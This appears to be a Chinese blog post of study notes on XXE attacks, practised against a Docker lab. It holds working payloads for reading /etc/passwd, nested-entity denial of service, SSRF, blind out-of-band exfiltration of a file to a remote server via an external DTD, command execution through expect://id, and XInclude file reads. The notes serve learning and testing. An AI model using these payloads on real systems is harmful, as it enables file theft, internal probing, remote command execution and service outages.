首页 > 其他分享 >XXE笔记

XXE笔记

时间:2024-02-22 13:55:57浏览次数:26  
标签:XML xxe XXE 笔记 Content https com

搭建环境

搭建xxe环境

docker pull rrodrigo/xxelab 
docker run -d --name="xxe" -p 80:80 rrodrigo/xxelab

XXE原理

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

XML语法规则

XXE利用

在这个靶场中,我们可以看到响应返回了邮箱的值。
image
因此,我们可以利用这一点,使用DTD语法定义命令执行的变量,再将变量填写在邮箱值的位置,就可以看到响应执行了变量内容。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
        <!ENTITY file SYSTEM "/etc/passwd">
]>
<root><name>123</name><tel>123</tel><email>&file;</email><password>123</password></root>

响应内容中包含命令执行的结果
image

攻击方式

拒绝服务攻击

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<data>&file;</data>

SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://10.10.10.10:80" [
]>
<data>&data;</data>

OOB blind

https://cloud.tencent.com/developer/article/1516360

https://threezh1.com/2020/04/29/xxe_payload/

在服务器上存放如下文件xxe.dtd

<!ENTITY % file SYSTEM "file:///C:/jayway.txt">
<!ENTITY % all "<!ENTITY send SYSTEM'http://10.165.89.150:88/?%file;'>">
%all;

调用命令

<?xml version="1.0"encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://10.165.89.150:88/xxe.dtd">
<data>&send;</data>

RCE

利用PHP的Expect模块执行id命令

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "expect://id" >
<data>&xxe;</data>

XInclude

https://www.anquanke.com/post/id/156227

https://m.freebuf.com/articles/web/330086.html

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd" parse="text"></xi:include></data>

其他姿势

https://portswigger.net/web-security/xxe

修改内容类型

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如 application/x-www-form-urlencoded 。某些网站期望接收这种格式的请求,但也会容忍其他内容类型,包括 XML。

例如,如果一个普通请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

然后您可以提交以下请求,得到相同的结果:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。

标签:XML,xxe,XXE,笔记,Content,https,com
From: https://www.cnblogs.com/DumpInfou/p/18027175

相关文章

  • Yolov5学习笔记
    2024.2.201、混淆矩阵Precision:选择的点中预测正确的占多少Recall:正确的点中有多少被选择2、IoU实际的物体所占空间,与预测的物体所占空间的交并比。......
  • dp 学习笔记 (2024/2/22 - )
    计数[ARC107D]NumberofMultisets[ARC104D]MultisetMean大值域限制偏序计数[CF1295F]GoodContest[ARC104E]RandomLIS......
  • 《程序是怎么跑起来的》第1章读书笔记
    作为程序是怎么跑起来的第1章内容,这本书首先向我们介绍了什么是CPU,告诉了程序员这一基本内容,我也了解到寄存器是程序的描述对象,而CPU就是寄存器的集合体。而CPU也被人比作是计算机的大脑,它是由寄存器控制器运算器和时钟4个部分组成的,他们之间通过电流信号相互联通,而它们各自的用途......
  • Vue学习笔记7--el和data的两种写法
    方式一:eldata  //方式一:eldata//constone=newVue({//el:'#root',//data:{//name:'vue',//mydata://{//oneAtt:'我是一个嵌套对象的属性哦',//......
  • Vue学习笔记6--数据绑定
    <!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>Vue数据绑定</title>......
  • 网络流学习笔记
    零、基本概念直接走OIwiki或者看蓝书吧。一、Ford-Fulkerson增广“该方法运用贪心的思想,通过寻找增广路来更新并求解最大流。”主要流程就是每次选一些增广路,以来更新最大流。但这个贪心思路不一定能保证正确性。Ford-Fulkerson增广的核心技术是通过设置反向边来实现反......
  • 【学习笔记】关于数论与平面几何的一切
    快速幂人话求\(a\)的\(n\)次方,其实就是根据二进制唯一分解定理给\(a^n\)拆成\(\log{n}\)个\(a^{2^i}\),递推求出从\(a^0\)到\(a^{2^i}\)每个数,如果\(n\)的二进制第\(i\)位为1,则将答案乘上\(a^{2^i}\)llQpow(lla,llb){//一开始a就是a的一次方llans=1;while(b......
  • Go语言精进之路读书笔记第32条——了解goroutine的调度原理
    Go的运行时负责对goroutine进行管理,所谓的管理就是“调度”。调度就是决定何时哪个goroutine将获得资源开始执行,哪个goroutine应该停止执行让出资源,哪个goroutine应该被唤醒恢复执行等。32.1goroutine调度器将goroutine按照一定算法放到CPU上执行的程序就称为goroutine调度器(g......
  • 读十堂极简人工智能课笔记09_读后总结与感想兼导读
    1. 基本信息十堂极简人工智能课10ShortLessonsinArtificialIntelligence&Robo[英]彼得·J.本特利著译林出版社,2023年5月出版1.1. 读薄率书籍总字数115千字,笔记总字数25104字。读薄率25104÷115000≈21.83%1.2. 读厚方向千脑智能脑机穿越未来呼啸而......
  • S2GAE论文阅读笔记
    Abstract现有的GAE方法只能在链接预测任务上表现的很好,而它们在分类任务上的表现却相当有限,本文首次证明了GAE通过从图掩码的角度重新设计其关键的构建块,可以很好地适用于链接预测和分类场景,包括节点级和图级任务。我们提出的方法被称为是自监督图自动编码器(S2GAE)。具体来说,我......